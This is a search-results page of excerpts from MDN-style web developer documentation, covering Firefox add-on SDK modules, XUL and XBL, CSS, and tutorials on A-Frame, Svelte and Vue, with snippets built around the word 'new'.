new typed array view is created that views the specified arraybuffer. the byteoffset and length parameters specify the memory range that will be exposed by the typed array view. if both are omitted, all of buffer is viewed; if only length is omitted, the remainder of buffer is viewed. ...
...And 5 more matches
transform - SVG: Scalable Vector Graphics
ever, the compatibility isn't guaranteed. matrix the matrix(<a> <b> <c> <d> <e> <f>) transform function specifies a transformation in the form of a transformation matrix of six values. ...
...ix(<a> <b> <c> <d> <e> <f>) transform function specifies a transformation in the form of a transformation matrix of six values. ...
...c> <d> <e> <f>) transform function specifies a transformation in the form of a transformation matrix of six values. ...
...And 5 more matches
context-menu - Archive of obsolete content
m to provide feedback to the user. in these cases you can use the second method. recall that your content scripts can listen for the "context" event and if your listeners return true, the items associated with the content scripts are shown in the menu. in addition to returning true, your "context" listeners can also return strings. when a "context" listener returns a string, it becomes the item's
new label. this item implements the aforementioned search example: var cm = require("sdk/context-menu"); cm.item({ label: "search google", context: cm.selectioncontext(), contentscript: 'self.on("context", function () {' + ' var text = window.getselection().tostring();' + ' if (text.length > 20)' + ' text = text.substr(0, 20) + "...";' +...
...tring the item's icon, a string url. the url can be remote, a reference to an image in the add-on's data directory, or a data uri. data string an optional arbitrary value to associate with the item. it must be either a string or an object that implements tostring(). it will be passed to click listeners. accesskey single-character string
new in firefox 35. access key for the item. pressing this key selects the item when the context menu is open. context value if the item is contained in the top-level context menu, this declaratively specifies the context under which the item will appear; see specifying contexts above. contentscript string,array if the item is contained in the ...
...context that matches a given css selector. see specifying contexts above. parameters selector : string a css selector. urlcontext(matchpattern) creates a context that matches pages with particular urls. see specifying contexts above. parameters matchpattern : string,array a match pattern string, regexp or an array of match pattern strings or regexps. predicatecontext(predicatefunction)
new in firefox 29 creates a context that occurs when predicatefunction returns a true value. see specifying contexts above. parameters predicatefunction : function(context) a function which will be called with an object argument that provide information about the invocation context. context object properties: property description documenttype the mime type of the doc...
...And 4 more matches
panel - Archive of obsolete content
a panel is a dialog. its content is specified as html and you can execute scripts in it, so the appearance and behavior of the panel is limited only by what you can do using html, css, and javascript. ...
...as appropriate in preparation for the next time it is shown. your add-on can receive notifications when a panel is shown or hidden by listening to its show and hide events. opening a panel will close any panel created by the panel() constructor that is already open, even if that panel was opened by a different add-on sdk based extension. if you want to close an existing panel without opening a
new one, you can call the hide() or the destroy() method. panel content the panel's content is specified as html, which is loaded from the url supplied in the contenturl option to the panel's constructor. you can load remote html into the panel: var mypanel = require("sdk/panel").panel({ width: 180, height: 180, contenturl: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobil...
...t) { console.log(text); textentrypanel.hide(); }); the content script "get-text.js" looks like this: // when the user hits return, send the "text-entered" // message to main.js. // the message payload is the contents of the edit box. var textarea = document.getelementbyid("edit-box"); textarea.addeventlistener('keyup', function onkeyup(event) { if (event.keycode == 13) { // remove the
newline. text = textarea.value.replace(/(\r\n|\n|\r)/gm,""); self.port.emit("text-entered", text); textarea.value = ''; } }, false); // listen for the "show" event being sent from the // main add-on code. it means that the panel's about // to be shown. // // set the focus to the text area so the user can // just start typing. self.port.on("show", function onshow() { textarea.focus(); ...
...And 4 more matches
places/bookmarks - Archive of obsolete content
ey synchronously return a placesemitter object, which then asynchronously emits events as the operation progresses and completes. each retrieved bookmark item represents only a snapshot of state at a specific time. the module does not automatically sync up a bookmark instance with ongoing changes to that item in the database from the same add-on, other add-ons, or the user. ...
...s as the operation progresses and completes. each retrieved bookmark item represents only a snapshot of state at a specific time. the module does not automatically sync up a bookmark instance with ongoing changes to that item in the database from the same add-on, other add-ons, or the user. ...
...em as `inputitem` console.log(saved.title === inputitem.title); // true console.log(saved !== inputitem); // true console.log(inputitem === bookmark); // true }).on("end", function (saveditems, inputitems) { // similar to "data" events, except "end" is an aggregate of // all progress events, with ordered arrays as `saveditems` // and `inputitems` }); creating several bookmarks with a
new group let { bookmark, group, save } = require("sdk/places/bookmarks"); let group = group({ title: "guitars" }); let bookmarks = [ bookmark({ title: "ran", url: "http://ranguitars.com", group: group }), bookmark({ title: "ibanez", url: "http://ibanez.com", group: group }), bookmark({ title: "esp", url: "http://espguitars.com", group: group }) ]; // save `bookmarks` array -- notice we don'...
...And 4 more matches
ui/sidebar - Archive of obsolete content
the left-hand side of the browser window. you specify its content using html, css, and javascript, and the user can show or hide it in the same way they can show or hide the built-in sidebars. usage creating, showing, and hiding sidebars you construct a sidebar object using the sidebar() constructor. once you've done that, you can show the sidebar by calling the sidebar's show() method. if a
new window is opened from a window that has a sidebar visible, the
new window gets a sidebar, too. you can hide the sidebar by calling its hide() method. called with no arguments, show() and hide() will operate on the currently active window. from firefox 33 onwards you can pass a browserwindow into these methods, and they will then operate on the specified window. alternatively, the view->sidebar...
... once you've finished using the sidebar you can destroy it by calling its dispose() method. ...
...e you can send or receive messages. there are two events emitted by the sidebar which will give you a worker: attach and ready. listen to attach if the first message in your add-on goes from the sidebar scripts to the main add-on code, and listen to ready if the first message goes from the main add-on code to the sidebar script. using attach the attach event is triggered whenever the dom for a
new sidebar instance is loaded and its scripts are attached. the sidebar script may not be initialized yet, so you can't reliably send messages to the sidebar script right away: however, you can start listening to messages from the script. here's a simple but complete add-on that shows how to set up communication between main.js and a script in a sidebar, in the case where the sidebar script initiat...
...And 4 more matches
Install Manifests - Archive of obsolete content
operty: name description creator homepageurl developer translator contributor more documentation can be found at localizing extension descriptions. optionstype the type of user-interface used for displaying the options. accepted values are: 1 opens optionsurl in a dialog box 2 options are displayed inside the add-on manager 3 opens optionsurl in a
new tab (if the application supports that), or a dialog box optionstype defaults to 1 if there is an optionsurl included in install.rdf or 2 if there is no optionsurl and the file options.xul exists in the root of the add-on. <em:optionstype>2</em:optionstype> options can be opened in a
new tab since firefox 7.0a1. to do so, set optionstype to 3 and set optionsurl to a the path of a page to...
... optionsurl the chrome:// url of the extension's options dialog box. this is only useful to extensions. ...
...tcompatibility a boolean value indicating if the add-on should be enabled when the version of the application is greater than its max version. by default, the value of this property is false meaning that the compatibility checking will not be performed against the max version. <em:strictcompatibility>true</em:strictcompatibility> usually, there is no need to restrict the compatibility: not all
new releases will break your extension and, if it is hosted on amo, you'll get notice several weeks in advance if a potential risk has been detected. moreover, an extension being disabled, even for a short period, leads to a bad experience for the user. about the only time you should need to set this if your add-on does things that are likely to be broken by firefox updates. you do not need to set th...
...And 4 more matches
Creating a dynamic status bar extension - Archive of obsolete content
vious sample won't be reiterated here; instead, refer to the downloadable sample code or to the previous sample for further details. download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension. or, if you've already got the code from the creating a status bar extension sample, you can follow this tutorial to update that existing code with
new features. download the sample update the install manifest replace all occurrences of the first sample's id, "status-bar-sample-1", with the
new sample's id, "stockwatcher", and update the front end metadata to describe our
new extension. see install manifests for details. update the chrome manifest the chrome manifest needs only a minor update from the previous sample; simply replace the id of th...
...if you need to brush up, visit the chrome manifest section. ...
...our extension will refresh the stock information display when the user clicks the panel. write the javascript code the work of fetching the stock quote and updating the status bar panel's display is handled by the javascript code in the file stockwatcher.js. unlike o...
...And 4 more matches
Index of archived content - Archive of obsolete content
techniques promises updating addons broken by private browsing changes using dependent libraries in extension components using the stylesheet service bookmarks.export() bookmarks.import() adding preferences to an extension an interview with douglas bowman of wired
news archived mozilla and build documentation activex control for hosting netscape plug-ins in ie archived spidermonkey docs file object open merging tracemonkey repo spidermonkey coding conventions ...
... creating a hybrid cd creating regular expressions for a microsummary generator dtrace dehydra dehydra frequently asked questions dehydra function reference dehydra object reference installing dehydra using dehydra developing
new mozilla features devmo 1.0 launch roadmap download manager improvements in firefox 3 download manager preferences drag and drop drag and drop example drag and drop javascript wrapper drag and drop events editor embedding guide embedding faq embed...
... modularization techniques monitoring downloads mozilla application framework mozilla application framework in detail mozilla crypto faq mozprocess mozprofile mozrunner nsc_setpin nanojit lir
new security model for web services
new skin notes overview of how downloads work plug-n-hack plug-n-hack get involved plug-n-hack phase1 plug-n-hack phase2 plug-n-hack tools supported plugin architecture porting nspr to unix platforms priority con...
...And 4 more matches
Getting Started - Archive of obsolete content
window. skin\classic\editor editor contains files of composer. skin\classic\global global contains almost all of the important css files that define the appearance of the suite. this is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\messenger messenger contains styles of the mail client. ...
...c\editor editor contains files of composer. skin\classic\global global contains almost all of the important css files that define the appearance of the suite. this is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\messenger messenger contains styles of the mail client. ...
...og window. skin\classic\messenger messenger contains styles of the mail client. skin\classic\messenger-
newsblog messenger-
newsblog contains the only css file. skin\classic\mozapps mozapps contains all the styles and icons for the browser peripherals, such as the extension manager or update wizard. skin\classic\navigator navigator contains some icons and styles for all sm components. install your
new theme before you can see the changes you make to a seamonkey theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic theme to make it installable. for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name. copying the necessary files the first step is to move all the files into the right d...
...And 4 more matches
Introducing the Audio API extension - Archive of obsolete content
obsolete since gecko 28 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. ...
...l> creating an audio stream it is also possible to create and setup an <audio> element for raw writing from script (i.e., without a src attribute). content scripts can specify the audio stream's characteristics, then write audio samples. users must create an audio object and then use the mozsetup() function to specify the number of channels and the frequency (in hz). for example: // create a
new audio element var audiooutput =
new audio(); // set up audio element with 2 channel, 44.1khz audio stream. audiooutput.mozsetup(2, 44100); once this is done, the samples need to be created. those samples have the same format as the ones in the mozaudioavailable event. then the samples are written in the audio stream with the function mozwriteaudio(). it's important to note that not all the samp...
...portant to note that not all the samples might get written in the stream. the function returns the number of samples written, which is useful for the next writing. ...
...And 4 more matches
File object - Archive of obsolete content
command interpreter. filesystem access is implemented with nspr i/o functions, and as such shares many semantics. pipelines are implemented with the popen() system call. there is currently no support for p2open()-like semantics. here is the original proposal for this object, and a status update from december 1998: http://www.mozilla.org/js/js-file-object.html created by the file constructor:
new file();
new file(filename); parameters filename name of the file we want to work with. directories and pipelines are considered special files. pipelines either begin or end with the pipe (|) symbol. description filenames are specified as strings that have an implementation defined format. use of standard "file:" urls is encouraged. if no argument is supplied to the constructor, the curren...
...standard "file:" urls is encouraged. if no argument is supplied to the constructor, the current working directory is the file object that is returned. examples of possible prefix strings are "/" to indicate the unix root directory, "c:" to specify a windows drive letter, and "file:" to indicate a file url. when a file is constructed, leading and trailing spaces are removed from the filename, so
new file(" abc.txt ") just creates a file called abc.txt. filenames starting and ending with the pipe symbol (|) are interpreted as pipes. readable pipelines (i.e. pipe to programs generating output on stdout) begin with the pipe symbol; writeable pipelines end with the pipe symbol. bi-directional pipelines are not supported. properties static properties file.input a file object that repre...
...writing to the property moves the file pointer. file.isnative true if the file is backed by a native stdio file stream. (i.e. file.input, file.output, file.error or a pipeline) methods file.open() opens the file, specifying file mode and type. file.close() closes the file. file.remove() removes the file, provided it is not open. file.copyto() creates a verbatim copy of the file at a
new location. file.renameto() removes the file. file.flush() flushes the operating system's write buffers for the file and blocks until any pending data has been committed to disk. file.seek() moves the file position pointer forward or backwards. file.read() read a fixed number of bytes from the file. file.readln() read line from the file. file.readall() read the entire file in, returning...
...And 4 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
in particular plugin developers should see how to package a plugin as an extension. this article uses the installer script from browser.xpi install package as the basis for discussing xpi installations in general. ...
... overview of the install script xpi install scripts are written in javascript using xpinstall engine syntax defined in the xpinstall api reference. most installation scripts, including the one discussed here, take the following basic form (in pseudo-code and with links to the sections in which these installation steps are document...
...n scripts (getfolder, initinstall, addfile, and performinstall are all examples of common install object methods)--the install object is implicit; like the window object in regular web page scripts, the install object does not need to be prefixed to the method. initializing the installation all installations must begin with initinstall(). the initinstall() method on the install object creates a
new installation for the specified software and version. in the browser.xpi installation, this function appears at line 20: var err = initinstall("netscape seamonkey", "browser", "6.0.0.2000110807"); if you call a method on the install object before initinstall(), you will get an error. the initinstall method takes the following parameters: the display name of the package, the name of the package...
...And 4 more matches
A XUL Bestiary - Archive of obsolete content
are in simple terms. i selected items for this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in xul and cross-platform development. in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's
new technologies -- and in particular mozilla's xml-based user interface language, xul. chrome some of the most powerful and frequently misunderstood features of xul and the mozilla browser have to do with chrome. the term chrome is used in different contexts to mean different things. in general, chrome refers to a xul interface and all of its supporting files; chrome means the xul content and stru...
... the http url in pointers like the following global skin processing instruction: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> specifies a chrome to be loaded by the gecko rendering engine. in the example above, the chrome is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a
new chrome: <menuitem value="mozilla help" oncommand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome url is being used to point to a chrome within the package hierarchy of the mozilla application. a help chrome defined in mozilla/bin/chrome/help/ is being invoked...
...s like a chrome, but it is specific to the mozilla architecture. a package is a chunk of interface code that sits in a particular place within mozilla's package hierarchy. like a chrome, that chunk usually contains xul content, css and graphic skin information, localization strings, and maybe some platform-specific code. the navigator is a package defined in mozilla/bin/chrome/navigator, the mail/
news component is a package in mozilla/bin/chrome/mail
news/, and so on. each package directory typically has three subdirectories, content, skin, and locale, in which the xul, css, and localization information are defined, respectively: navigator/ content/ default/ navigator.xul ... skin/ default/ navigator.css nav-icon.gif ... locale/ us-en/ nav...
...And 4 more matches
Skinning XUL Files by Hand - Archive of obsolete content
he following very simple style definition applies to that button. button.plain { border: 0px !important; } the global skin, in which styles for these several button classes and dozens of other elements are defined, is described in the following section. if you want to use the classes already defined in mozilla's global skin to style your elements, you may do so. but you may also want to define
new classes of buttons particular to your xul file, in which case the style information will be wholly defined within your custom css file. reading the global skin it's very important to familiarize yourself with the basic style definitions in the global skin before you set out creating your own stylesheet. css can quickly become complicated. the ability to apply styles to elements of a type, to sp...
...many different rules have been defined for an element, where the style definitions appear (i.e., externally in a css file or inline), where the elements themselves appear, and other esoteric variables. if you create a style in your custom stylesheet for a button with a particular id, for example, some of the more basic style information for buttons in the global skin may take precedence over your
new style and cause it not to be applied. make sure you are aware of the way that the global skin defines the skin and which elements, in general, it is addressing. since the purpose of the global skin is to create a look for the entire application or chrome that can be changed dynamically, you should not create style information in a custom css file that controverts the global skin unless you reall...
... style subgroups contextualsubgroups -- elements appearing within other elements, such as italicized text anywhere within a <p> element or a <div> -- can be grouped in css, but this is an extremely inefficient way to style xul, and is frowned upon in the mozilla development community (again, refer to the skinning guidelines in writing skinnable xul and css for more info); css2 also provides some
new ways to group elements for styling, which we summarize briefly here, because they appear in mozilla with some frequency, but reserve for another article: pseudo-class parent-child element:pseudo-class { attribute: value; } parent > child { attribute: value; } button:hover { border: 1px; } menu#file > menuitem { font-weight: bold; } ...
...And 4 more matches
XBL Example - Archive of obsolete content
increment or decrement the value by one, and then call the onset handler to set the value. setpage method now let's define the 'setpage' method. it will take one parameter, the page number to set the page to. it will need to make sure the page is not out of range and then modify the deck's selectedindex attribute and the text widget's label attribute. ...
...e one parameter, the page number to set the page to. it will need to make sure the page is not out of range and then modify the deck's selectedindex attribute and the text widget's label attribute. <method name="setpage"> <parameter name="
newidx"/> <body> <![cdata[ var thedeck=document.getanonymousnodes(this)[0].childnodes[0]; var totalpages=this.childnodes.length; if (
newidx<0) return 0; if (
newidx>=totalpages) return totalpages; thedeck.setattribute("selectedindex",
newidx); document.getanonymousnodes(this)[0].childnodes[1].childnodes[1] .setattribute("value",(
newidx+1)+" of "+totalpages); return
newidx; ]]> </body> </method> this function is called setpage and takes one parameter
newidx. the body of the method has bee...
... code piece by piece. var thedeck=document.getanonymousnodes(this)[0].childnodes[0]; get the first element of the anonymous content array, which will be the vertical box, then get its first child, which will be the deck element. var totalpages=this.childnodes.length; get the number of children that the bound box has. this will give the total number of pages that there are. if (
newidx<0) return 0; if the
new index is before the first page, don't change the page and return 0. the page should not change to a value earlier than the first page. if (
newidx>=totalpages) return totalpages; if the
new index is after the last page, don't change the page and return the last page's index. the page should not change to one after the last page. thedeck.setattribute("select...
...And 4 more matches
textbox - Archive of obsolete content
lated ] an input field where the user can enter text. it is similar to the html input element. only one line of text is displayed by default. the multiline attribute can be specified to display a field with multiple rows. more information is available in the xul tutorial. ...
...to. the default value is 100 for scales and infinity for number boxes. maxlength type: integer the maximum number of characters that the textbox allows to be entered. min type: integer the minimum value the textbox's value may take. the default value is 0. multiline type: boolean if true, the textbox displays multiple lines. ...
...axlength type: integer the maximum number of characters that the textbox allows to be entered. min type: integer the minimum value the textbox's value may take. the default value is 0. multiline type: boolean if true, the textbox displays multiple lines. if the user presses enter, a
new line is started. if false, the textbox only allows entry of one line. ...
...And 4 more matches
Gecko Compatibility Handbook - Archive of obsolete content
** notes ** - the solution quick reference needs more attention. - i'm also looking for a way to organize all that information. - some inline examples were removed because of technical limitations. they are actually replaced by ''-(example removed)-'' the goal of this handbook is to help you update websites to work with standards-based browsers and properly detect gecko. if you're
new to standards, you may find using web standards in your web pages a helpful introduction. gecko is an embeddable browser, developed as part of the mozilla open source project and based on w3 standards rather than the proprietary approaches of the past. adhering to web standards simplifies cross-browser web development and enables accessibility. 4.x vs. gecko since 1997, much of the web's content has b...
... content differs in gecko browsers and internet explorer the javascript console in netscape 6.x and netscape 7.x displays errors about document.all, document.layers, document.<property> not being defined because of an incorrect browser sniffing, or use of proprietary javascript. update browser sniffing to correctly detect gecko browsers. upgrade apis to use
newer standards-conformant versions upgrade web authoring tool to versions that support the w3 standards and gecko browsers content differs in gecko browsers and internet explorer your css relies on bugs in internet explorer's implementation of css. internet explorer incorrectly treats id's and class names as case insensitive while gecko treats them correctly...
...forms in tables invalid html to eliminate line break in <form>. in older browsers, this results in the td cell tightly wrapping around the input element. <table border="1"> <tr> <form name="form2"> <td> <input type="text"> </td> </form> </tr> <table> this approach is commonly used to get around the fact that <form> is a block level element in html and will naturally begin on a
new line in the page. unfortunately, this is invalid html and can cause problems both when parsing the page and when applying the css styles. incorrect use of xml empty tag notation many authors have taken to using xml empty tag notation (<tag />) in their html files. in xml, an empty tag never has any content. the xhtml backward compatibility guidelines state that empty elements can be coded by fo...
...And 4 more matches
Building up a basic demo with A-Frame - Game development
create something with a-frame. we'll then build up a demo and run it. you should start off by: making sure you are using a modern browser with good webgl support (and webxr support if you have available vr or ar hardware) such as the latest firefox or chrome — download firefox nightly or chrome (v54 or higher). (optional) set up a vr device such as oculus rift or google cardboard. ...
...r google cardboard. create a
new directory to store your project in. save a copy of the latest a-frame javascript library file inside your directory (check the github repository for latest stable a dev builds). open the a-frame documentation in a separate tab — it is useful to refer to. html structure the first step is to create an html document — inside your project directory, create a
new index.html file, and save the follow html inside it: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: a-frame demo</title> <script src="aframe.min.js"></script> </head> <body> <!-- html goes here --> </body> </html> this contains some basic information like the document charset and <title>. the <script> element includes the a-frame framework in the page; we will wr...
...ame demo</title> <script src="aframe.min.js"></script> </head> <body> <!-- html goes here --> </body> </html> this contains some basic information like the document charset and <title>. the <script> element includes the a-frame framework in the page; we will write our example code inside the <body> element. initializing the scene a scene is the place where everything happens. when creating
new objects in the demo, we will be adding them all to the scene to make them visible on the screen. in a-frame, the scene is reperesented by a scene entity. note: an entity is any element — it can be an object like a box, cylinder or cone, but it can also be a camera, light or sound source. let's create the scene by adding an <a-scene> element inside the <body> element: <a-scene> </a-scene> ...
...And 4 more matches
Visual-js game engine - Game development
atform 2d game engine creator : nikola lukic 2017 2018 open source visual-js project parts : -2d part : this is javascript game engine (server part node.js / client part js) js framework with windows gui editor and game instance creator. ( + server engine tools + server part of web apps ) -3d part : webgl based on three.js engine -3d part : webgl2 based on glmatrix 2.0 -2d part (
new): this is typescript based game engine (client part ts). with strong connection with webpack physics done with (matter.js) matter ts this part is removed from this project.
new link is : https://github.com/zlatnaspirala/visual-ts-game-engine basic licence rules : 1) each file in this project has its own license , be careful , do not violate the basic rules. 2) you are free to use an...
...op.com/ female body v3.blend this file has been released by andrescuccaro under the following license: creative commons attribution 3.0 about gui for windows (canvas2d part only) : windows gui application version 1.0 (using visual-js 0.9 lib) important : you will need net 4.5.2 minimum also redistribution pack for c++ how to start project ? ...
...windows gui application version 1.0 (using visual-js 0.9 lib) important : you will need net 4.5.2 minimum also redistribution pack for c++ how to start project ? ...
...And 4 more matches
How CSS works - Learn web development
pan>s, then paint the final visual representation to the screen. the updated output is as follows: in our debugging css article in the next module we will be using browser devtools to debug css problems, and will learn more about how the browser interprets css. what happens if a browser encounters css it doesn't understand? in an earlier lesson i mentioned that browsers do not all implement
new css at the same time. in addition, many people are not using the latest version of a browser. given that css is being developed all the time, and is therefore ahead of what browsers can recognise, you might wonder what happens if a browser encounters a css selector or declaration it doesn't recognise. the answer is that it does nothing, and just moves on to the next bit of css! if a browser is ...
... css selector or declaration it doesn't recognise. the answer is that it does nothing, and just moves on to the next bit of css! if a browser is parsing your rules, and encounters a property or value that it doesn't understand, it ignores it and moves on to the next declaration. it will do this if you have made an error and misspelled a property or value, or if the property or value is just too
new and the browser doesn't yet support it. similarly, if a browser encounters a selector that it doesn't understand, it will just ignore the whole rule and move on to the next one. in the example below i have used the british english spelling for color, which makes that property invalid as it is not recognised. so my paragraph has not been colored blue. all of the other css have been applied howev...
...es that property invalid as it is not recognised. so my paragraph has not been colored blue. all of the other css have been applied however; only the invalid line is ignored. <p> i want this text to be large, bold and blue.</p> p { font-weight: bold; colour: blue; /* incorrect spelling of the color property */ font-size: 200%; } this behavior is very useful. it means that you can use
new css as an enhancement, knowing that no error will occur if it is not understood — the browser will either get the
new feature or not. coupled with the way that the cascade works, and the fact that browsers will use the last css they come across in a stylesheet when you have two rules with the same specificity you can also offer alternatives for browsers that don't support
new css. this works p...
...And 4 more matches
How to build custom form controls - Learn web development
pe key? pressing esc key closes an open select. remember, if you want to provide the same functionality as the existing native <select>, it should behave the exact same way as the select for all users, from keyboard to mouse to touch to screen reader, and any other input device. ...
...to touch to screen reader, and any other input device. in our example, the missing specifications are obvious so we will handle them, but it can be a real problem for exotic
new controls. when it comes to standardized elements, of which the <select> is one, the specification authors spent an inordinate amount of time specifying all interactions for every use case for every input device. creating
new controls is not that easy, especially if you are creating something that has not been done before, and therefore which nobody has the slightest idea of what the expected behaviors and interactions are. ...
...nt an inordinate amount of time specifying all interactions for every use case for every input device. creating
new controls is not that easy, especially if you are creating something that has not been done before, and therefore which nobody has the slightest idea of what the expected behaviors and interactions are. at least select has been done before, so we know how it should behave! ...
...And 4 more matches
Introduction to web APIs - Learn web development
is index page. common browser apis in particular, the most common categories of browser apis you'll use (and which we'll cover in this module in greater detail) are: apis for manipulating documents loaded into the browser. the most obvious example is the dom (document object model) api, which allows you to manipulate html and css — creating, removing and changing html, dynamically applying
new styles to your page, etc. every time you see a popup window appear on a page or some
new content displayed, for example, that's the dom in action. find out more about these types of api in manipulating documents. apis that fetch data from the server to update small sections of a webpage on their own are very commonly used. this seemingly small detail has had a huge impact on the performance and ...
...ew content displayed, for example, that's the dom in action. find out more about these types of api in manipulating documents. apis that fetch data from the server to update small sections of a webpage on their own are very commonly used. this seemingly small detail has had a huge impact on the performance and behaviour of sites — if you just need to update a stock listing or list of available
new stories, doing it instantly without having to reload the whole entire page from the server can make the site or app feel much more responsive and "snappy". apis that make this possible include xmlhttprequest and the fetch api. you may also come across the term ajax, which describes this technique. find out more about such apis in fetching data from the server. apis for drawing and manipulating g...
...e include a <button> that we'll use to play and stop the music, and an <input> element of type range, which we'll use to adjust the volume of the track while it's playing. next, let's look at the javascript for this example. ...
...And 4 more matches
A first splash into JavaScript - Learn web development
> randomnumber) { loworhi.textcontent = 'last guess was too high!'; } } guesscount++; guessfield.value = ''; } guesssubmit.addeventlistener('click', checkguess); function setgameover() { guessfield.disabled = true; guesssubmit.disabled = true; resetbutton = document.createelement('button'); resetbutton.textcontent = 'start
new game'; document.body.append(resetbutton); resetbutton.addeventlistener('click', resetgame); } function resetgame() { guesscount = 1; const resetparas = document.queryselectorall('.resultparas p'); for(let i = 0 ; i < resetparas.length ; i++) { resetparas[i].textcontent = ''; } resetbutton.parentnode.removechild(resetbutton); guessf...
...5 you can also use the + operator to join text strings together (in programming, this is called concatenation). try entering the following lines, one at a time: let name = 'bingo'; name; let hello = ' says hello!'; hello; let greeting = name + hello; greeting; there are also some shortcut operators available, called augmented assignment operators. for example, if you want to simply add a
new text string to an existing one and return the result, you could do this: name += ' says hello!'; this is equivalent to name = name + ' says hello!'; when we are running true/false tests (for example inside conditionals — see below) we use comparison operators. for example: operator name example === strict equality (is it exactly the same?) 5 === 2 + 4 //...
...sing code now and complete the example functionality. finishing the game functionality let's add that setgameover() function to the bottom of our code and then walk through it. ...
...And 4 more matches
Adding features to our bouncing balls demo - Learn web development
previous overview: objects in this assessment, you are expected to use the bouncing balls demo from the previous article as a starting point, and add some
new and interesting features to it. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript objects and object-oriented constructs starting point to get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a
new directory in your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascript into one of these online editors. if the online edit...
...d evil circle can inherit from. finally, we want to add a score counter to track the number of balls left to capture. the following screenshot gives you an idea of what the finished program should look like: to give you more of an idea, have a look at the finished example (no peeking at the source code!) steps to complete the following sections describe what you need to do. ...
... the following screenshot gives you an idea of what the finished program should look like: to give you more of an idea, have a look at the finished example (no peeking at the source code!) steps to complete the following sections describe what you need to do. creating our
new objects first of all, change your existing ball() constructor so that it becomes a shape() constructor and add a
new ball() constructor: the shape() constructor should define the x, y, velx, and vely properties in the same way as the ball() constructor did originally, but not the color and size properties. it should also define a
new property called exists, which is used to track whether the balls exist in the program (have not been eaten by the evil circle). this should be a boolean (true/false). the ball...
...And 4 more matches
Starting our Svelte Todo list app - Learn web development
n dev to start your app in development mode. repl to code along with us using the repl, start at https://svelte.dev/repl/b7b831ea3a354d3789cefbc31e2ca495?version=3.23.2 todo list app features this is how our todo list app wil look like once it's ready: using this ui our user will be able to: browse their tasks. mark tasks as completed/pending without deleting them. remove tasks. add
new tasks. filter tasks by status: all tasks, active tasks, or completed tasks. edit tasks. mark all tasks as active/completed. remove all completed tasks. building our first component let's create a todos.svelte component — this will contain our list of todos. create a
new folder — src/components. note: you can put your components anywhere inside the src folder, but the compon...
...n the component; in this case we have a name prop being specified when we instantiate the app component inside src/main.js, which isn't used inside app. the console should currently give you a message along the lines of "<app> was created with unknown prop 'name'". to get rid of this, remove the name prop from src/main.js; it should now look like so: import app from './app.svelte' const app =
new app({ target: document.body }) export default app now if you check your testing server url you'll see our todos.svelte component being rendered: adding static markup for the moment we will start with a static markup representation of our app, so you can see what it will look like. copy and paste the following into our todos.svelte component file, replacing the existing content: <!-- t...
...now if you check your testing server url you'll see our todos.svelte component being rendered: adding static markup for the moment we will start with a static markup representation of our app, so you can see what it will look like. ...
...And 4 more matches
Getting started with Vue - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. ...
...evelopment process. to use the npm package & the cli you will need: node.js 8.11+ installed. npm or yarn. note: if you don't have the above installed, find out more about installing npm and node.js here. to install the cli, run the following command in your terminal: npm install --global @vue/cli or if you'd prefer to use yarn: yarn global add @vue/cli once installed, to initialize a
new project you can then open a terminal in the directory you want to create the project in, and run vue create <project-name>. the cli will then give you a list of project configurations you can use. there are a few preset ones, and you can make your own. these options let you configure things like typescript, linting, vue-router, testing, and more. we’ll look at using this below. initializing a...
...project you can then open a terminal in the directory you want to create the project in, and run vue create <project-name>. the cli will then give you a list of project configurations you can use. there are a few preset ones, and you can make your own. these options let you configure things like typescript, linting, vue-router, testing, and more. we’ll look at using this below. initializing a
new project to explore various features of vue, we will be building up a sample todo list app. we'll begin by using the vue cli to create a
new app framework to build our app into. follow the steps below: in terminal, cd to where you'd like to create your sample app, then run vue create moz-todo-vue. use the arrow keys and enter to select the "manually select features" option. the first menu yo...
...And 4 more matches
Introducing a complete toolchain - Learn web development
ntioned above — free hosting for us to deploy our test app to. once you've signed up for github (click the sign up link on the homepage if you don't already have an account, and follow the instructions), you can use your github account for authentication on netlify (click sign up, then choose github from the "sign up with one of the following" list), so technically you only need to create one
new account. later on you'll need to connect your netlify account to your github repository to deploy this project; we'll see how to do that in the next chapter. three stages of tools as we talked about in chapter 1, the toolchain will be structured into the following phases: safety net: making the software development experience stable and more efficient. we might also refer to this as our dev...
...ith them). note that, although we're using github in this chapter, there are several alternatives including gitlab and bitbucket, and you could even host your own git repositories. using revision control in your projects and including it as part of the toolchain will help manage the evolution of your code. it offers a way to "commit" blocks of work as you progress, along with comments such as "x
new feature implemented", or "bug z now fixed due to y changes". revision control can also allow you to branch out your project code, creating a separate version and try out
new functionality on, without those changes affecting your original code. finally, it can help you undo changes or revert your code back to a time "when it was working" if a mistake has been introduced somewhere and you are hav...
... 'b' is defined but never used no-unused-vars ✖ 3 problems (3 errors, 0 warnings) note: we'll install eslint in the next section; don't worry about this for now. as with other tools, code editor integration support is typically good for eslint, and potentially more useful as it can give us real-time feedback when issues crop up: configuring the initial project using these tools, a
new project can be set up safe in the knowledge that many "basic" issues will be caught early on. using the command line, we can create the project, install the initial tooling, and create rudimentary configuration files. again, once you've repeated this process a few times, you'll get a feel for what your default setup should be. of course, this is just one possible configuration. initial setup o...
...And 4 more matches
Embedding API for Accessibility
